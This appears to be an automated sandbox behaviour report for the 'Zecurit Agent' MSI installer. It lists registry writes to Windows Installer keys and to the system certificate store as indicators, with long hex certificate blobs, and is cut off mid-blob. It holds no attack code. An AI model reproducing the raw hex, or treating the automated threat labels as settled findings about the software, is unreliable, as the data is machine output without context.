description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\SourceList\PackageName = "ZecuritAgentInstaller.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5C79161D47FA63C43B5809A79D019E3F msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\ProductName = "Zecurit Agent" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\SourceList\Net\1 = "C:\\Windows\\TEMP\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\SourceList\LastUsedSource = "n;1;C:\\Windows\\TEMP\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5C79161D47FA63C43B5809A79D019E3F\DefaultFeature msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\PackageCode = "5B3998CB09D26E548B6A409DFFB21513" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5CA5B1CE2340AC1469E388621EBFD063\5C79161D47FA63C43B5809A79D019E3F msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5C79161D47FA63C43B5809A79D019E3F\Version = "419430414" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5CA5B1CE2340AC1469E388621EBFD063 msiexec.exe - Modifies system certificate store 2 TTPs 31 IoCs
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\925A8F8D2C6D04E0665F596AFF22D863E8256F3F\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000000f00000001000000200000001504593902ec8a0bab29f03bf35c3058b5fd1807a74dab92cb61ed4a9908afa40b000000010000006200000041006d0061007a006f006e00200053006500720076006900630065007300200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020002d002d002000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000002500000030233021060b6086480186fd6e0107180330123010060a2b0601040182373c0101030200c0620000000100000020000000568d6905a2c88708a4b3025190edcfedb1974a606a13c6e5290fcb2ae63edab51400000001000000140000009c5f00dfaa01d7302b3888a2b86d4a9cf21191831d000000010000001000000052135310639a10f77f886b229b9f7afc7f000000010000000c000000300a06082b060105050703037e00000001000000080000000080c82b6886d701030000000100000014000000925a8f8d2c6d04e0665f596aff22d863e8256f3f19000000010000001000000014d4b19434670e6dc091d154abb20edc2000000001000000f3030000308203ef308202d7a003020102020100300d06092a864886f70d01010b0500308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100d50c3ac42af94ee2f5be19975f8e8853b11f3fcbcf9f20136d293ac80f7d3cf76b763863d93660a89b5e5c0080b22f597ff687f9254386e7691b529a90e171e3d82d0d4e6ff6c849d9b6f31a56ae2bb67414ebcffb26e31aba1d962e6a3b5894894756ff25a093705383da847414c3679e04683adf8e405a1d4a4ecf43913be756d60070cb52ee7b7dae3ae7bc31f945f6c260cf1359022b80cc3447dfb9de90656d02cf2c91a6a6e7de8518497c664ea33a6da9b5ee342eba0d03b833df47ebb16b8d25d99bce81d1454632967087de020e494385b66c73bb64ea6141acc9d454df872fc722b226cc9f5954689ffcbe2a2fc4551c75406017850255398b7f050203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604149c5f00dfaa01d7302b3888a2b86d4a9cf2119183300d06092a864886f70d01010b050003820101004b36a6847769dd3b199f6723086f0e61c9fd84dc5fd83681cdd81b412d9f60ddc71a68d9d16e86e18823cf13de43cfe234b3049d1f29d5bff85ec8d5c1bdee926f3274f291822fbd82427aad2ab7207d4dbc7a5512c215eabdf76a952e6c749fcf1cb4f2c501a385d0723ead73ab0b9b750c6d45b78e94ac9637b5a0d08f15470ee3e883dd8ffdef410177cc27a9628533f23708ef71cf7706dec8191d8840cf7d461dff1ec7e1ceff23dbc6fa8d554ea902e74711463ef4fdbd7b2926bba961623728b62d2af6108664c970a7d2adb7297079ea3cda63259ffd68b730ec70fb758ab76d6067b21ec8b9e9d8a86f028b670d4d265771da20fcc14a508db128ba ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5900000001000000160000005200530041002f005300480041003300380034000000190000000100000010000000ffac207997bb2cfe865570179ee037b90f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e46b0000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899885c0000000100000004000000001000002000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob = 5900000001000000100000005200530041002f004d004400320000007e0000000100000008000000000010c51e92d201620000000100000020000000e7685634efacf69ace939a6b255b7b4fabef42935b50a265acb5cb6027e44e7009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030119000000010000001000000091161b894b117ecdc257628db460cc04030000000100000014000000742c3192e607e424eb4549542be1bbc53e6174e21d000000010000001000000027b3517667331ce2c1e74002b5ff2298140000000100000014000000e27f7bd877d5df9e0a3f9eb4cb0e2ea9efdb69770b000000010000004600000056006500720069005300690067006e00200043006c006100730073002000330020005000750062006c006900630020005000720069006d00610072007900200043004100000004000000010000001000000010fc635df6263e0df325be5f79cd67670f0000000100000010000000d7c63be0837dbabf881d4fbf5f986ad853000000010000002400000030223020060a2b0601040182375e010130123010060a2b0601040182373c0101030200c07a000000010000000e000000300c060a2b0601040182375e010268000000010000000800000000003db65bd9d5012000000001000000400200003082023c308201a5021070bae41d10d92934b638ca7b03ccbabf300d06092a864886f70d0101020500305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479301e170d3936303132393030303030305a170d3238303830313233353935395a305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f7269747930819f300d06092a864886f70d010101050003818d0030818902818100c95c599ef21b8a0114b410df0440dbe357af6a45408f840c0bd133d9d911cfee02581f25f72aa84405aaec031f787f9e93b99a00aa237dd6ac85a26345c77227ccf44cc67571d239ef4f42f075df0a90c68e206f980ff8ac235f702936a4c986e7b19a20cb53a585e73dbe7d9afe244533dc7615ed0fa271644c652e816845a70203010001300d06092a864886f70d010102050003818100bb4c122bcf2c26004f1413dda6fbfc0a11848cf3281c67922f7cb6c5fadff0e895bc1d8f6c2ca851cc73d8a4c053f04ed626c076015781925e21f1d1b1ffe7d02158cd6917e3441c9c194439895cdc9c000f568d0299eda290454ce4bb10a43df032030ef1cef8e8c9518ce6629fe69fc07db7729cc9363a6b9f4ea8ff640d64 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\B68D8F953E551914324E557E6164D68B9926650C\Blob = 5900000001000000120000004400530041002f0053004800410031000000030000000100000014000000b68d8f953e551914324e557e6164d68b9926650c2000000001000000200300003082031c308202dba003020102020900f5610f0c1a4d426b300906072a8648ce38040330233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579301e170d3231303331383138343233375a170d3431303331333138343233375a30233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579308201b73082012b06072a8648ce3804013082011e02818100dc1911eb3e0ac27a1b8fcf7b95e6192f5ee6a922eca3cc87df88539244fb3d07d10e2fe7570a602726d0e1ed4ad078a1317746a4dc613eb0629fe4e8272b19454aa3ad2d598dc2fa884e001a5fa009ecb4b5ff6d9996610f3b2b3911a41db558608026ca0d439574a106f09c479e58ee6c7d9e93de57cfed8832798e0d6ad5a10215008453f6990ad5473bab4ebb0f46ce52d5a354596502818070de55e09bdc70d46f414acf263fdb2ff0879f0bceed06ea6789a518fe5cfe025374aacead5cf1d27aca1b085c4b0cd4f4561c387d24c904f96af7db6f57a8a9110901b51dc2a2531532ad06ec4096f288e73d651cc1d6140b2932ee4c95ec4bb09d462800de2765606137d04e8ff9ced03b391c89ebc91d119d312f4f4ba88f0381850002818100d920e184f0439cac6f987f511ef4d45b4a6f693c806c55f143558ffab70deb4f1a92a2a6c8c8ac931094c92a0118011b13fb33701a93bb8569bec9323811d8e8b8ba7b060fe5ca557bb980461dbbf9cb863b3cf7259015c22efd0fabbdffa3b19cbc9f6dd469605ab4aa59ad5126eab69f3de5cb3470b9fc4c8a69b7e87a8832a38198308195301d0603551d0e04160414d8201fdaa7f2d1002bf5eda7be5e8e49897208f030530603551d23044c304a8014d8201fdaa7f2d1002bf5eda7be5e8e49897208f0a127a42530233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579820900f5610f0c1a4d426b30120603551d130101ff040830060101ff020100300b0603551d0f0404030201c6300906072a8648ce380403033000302d021470c61b78deaf41f3cbf42bd3c0f1fd7a5018f1bf0215008399b086c63512f057352a2bf1e6b248d8ab107d ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\925A8F8D2C6D04E0665F596AFF22D863E8256F3F ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000005c0000000100000004000000000800000f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f0074002000470032000000620000000100000020000000cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f391d00000001000000100000007dc30bc974695560a2f0090a6545556c7f000000010000000c000000300a06082b060105050703037e00000001000000080000000080c82b6886d701030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a419000000010000001000000014c3bd3549ee225aece13734ad8ca0b86b0000000100000020000000cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f2000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5900000001000000120000005200530041002f00530048004100310000006b0000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e215c000000010000000400000000080000200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob = 5900000001000000120000005200530041002f00530048004100310000006b00000001000000200000009acfab7e43c8d880d06b262a94deeee4b4659989c3d0caf19baf6405e41ab7df0f0000000100000014000000e91e1e972b8f467ab4e0598fa92285387dee94c953000000010000006300000030613021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c07f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030109000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000009acfab7e43c8d880d06b262a94deeee4b4659989c3d0caf19baf6405e41ab7df1400000001000000140000007fd365a7c2ddecbbf03009f34339fa02af3331330b000000010000001200000056006500720069005300690067006e0000001d0000000100000010000000c6cbcafa17955c4cfd41eca0c654c3617e000000010000000800000000c0032f2df8d6016800000001000000000000000300000001000000140000004eb6d578499b1ccf5f581ead56be3d9b6744a5e5190000000100000010000000d8b5fb368468620275d142ffd2aade375c0000000100000004000000000800002000000001000000d7040000308204d3308203bba003020102021018dad19e267de8bb4a2158cdcc6b3b4a300d06092a864886f70d01010505003081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735301e170d3036313130383030303030305a170d3336303731363233353935395a3081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d20473530820122300d06092a864886f70d01010105000382010f003082010a0282010100af240808297a359e600caae74b3b4edc7cbc3c451cbb2be0fe2902f95708a364851527f5f1adc831895d22e82aaaa642b38ff8b955b7b1b74bb3fe8f7e0757ecef43db66621561cf600da4d8def8e0c362083d5413eb49ca59548526e52b8f1b9febf5a191c23349d843636a524bd28fe870514dd189697bc770f6b3dc1274db7b5d4b56d396bf1577a1b0f4a225f2af1c926718e5f40604ef90b9e400e4dd3ab519ff02baf43ceee08beb378becf4d7acf2f6f03dafdd759133191d1c40cb7424192193d914feac2a52c78fd50449e48d6347883c6983cbfe47bd2b7e4fc595ae0e9dd4d143c06773e314087ee53f9f73b8330acf5d3f3487968aee53e825150203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e041604147fd365a7c2ddecbbf03009f34339fa02af333133300d06092a864886f70d0101050500038201010093244a305f62cfd81a982f3deadc992dbd77f6a5792238ecc4a7a07812ad620e457064c5e797662d98097e5fafd6cc2865f201aa081a47def9f97c925a0869200dd93e6d6e3c0d6ed8e606914018b9f8c1eddfdb41aae09620c9cd64153881c994eea284290b136f8edb0cdd2502dba48b1944d2417a05694a584f60ca7e826a0b02aa251739b5db7fe784652a958abd86de5e8116832d10ccdefda8822a6d281f0d0bc4e5e71a2619e1f4116f10b595fce7420532dbce9d515e28b69e85d35befa57d4540728eb70e6b0e06fb33354871b89d278bc4655f0d86769c447af6955cf65d320833a454b6183f685cf2424a853854835fd1e82cf2ac11d6a8ed636a ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\3679CA35668772304D30A5FB873B0FA77BB70D54 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 ZecuritAgentAssetMgr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5900000001000000160000005200530041002f0053004800410033003800340000006b0000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd20f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf5c0000000100000004000000001000002000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727